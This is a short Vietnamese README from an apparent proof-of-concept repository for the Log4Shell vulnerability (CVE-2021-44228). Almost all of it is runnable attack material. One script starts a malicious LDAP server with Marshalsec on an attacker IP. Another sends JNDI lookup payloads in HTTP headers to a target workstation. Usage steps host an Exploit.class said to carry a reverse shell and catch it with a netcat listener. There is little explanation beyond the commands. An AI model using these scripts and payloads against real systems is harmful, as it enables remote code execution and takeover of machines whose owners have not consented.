Kiểm thử xâm nhập # CVE-2021-44228-Log4Shell-
Kiểm thử xâm nhập
1. Tạo LDAP Server độc hại (dùng Marshalsec)
#!/bin/bash
# Script: start_ldap_server.sh
# Yêu cầu: Cài đặt Java và Marshalsec (https://github.com/mbechler/marshalsec)
LDAP_PORT="1389"
HTTP_PORT="8000"
ATTACKER_IP="192.168.0.101"
REVERSE_PORT="5555"
echo "[+] Khởi động LDAP server độc hại trên port $LDAP_PORT..."
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \
"http://$ATTACKER_IP:$HTTP_PORT/#Exploit" $LDAP_PORT
2. Gửi Payload Log4Shell từ Webserver bị chiếm
#!/bin/bash
# Script: exploit_log4shell.sh
# Mục tiêu: Gửi payload JNDI đến máy trạm Windows
TARGET_IP="192.168.1.10"
ATTACKER_IP="192.168.0.101"
LDAP_PORT="1389"
echo "[+] Gửi payload Log4Shell đến $TARGET_IP..."
curl -X GET \
"http://$TARGET_IP" \
-H "User-Agent: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}" \
-H "X-Api-Version: \${jndi:ldap://$ATTACKER_IP:$LDAP_PORT/Exploit}"
# Cách sử dụng
# Khởi động LDAP server:
./start_ldap_server.sh
# Chạy HTTP server để host file Exploit.class (chứa reverse shell):
python3 -m http.server 8000
# Gửi payload từ Webserver bị chiếm
./exploit_log4shell.sh
# Lắng nghe reverse shell trên máy tấn công:
nc -lvnp 5555
[4.0K] /data/pocs/a380d0bf327c51ec85466304af7962dbcc43905c
└── [1.3K] README.md
0 directories, 1 file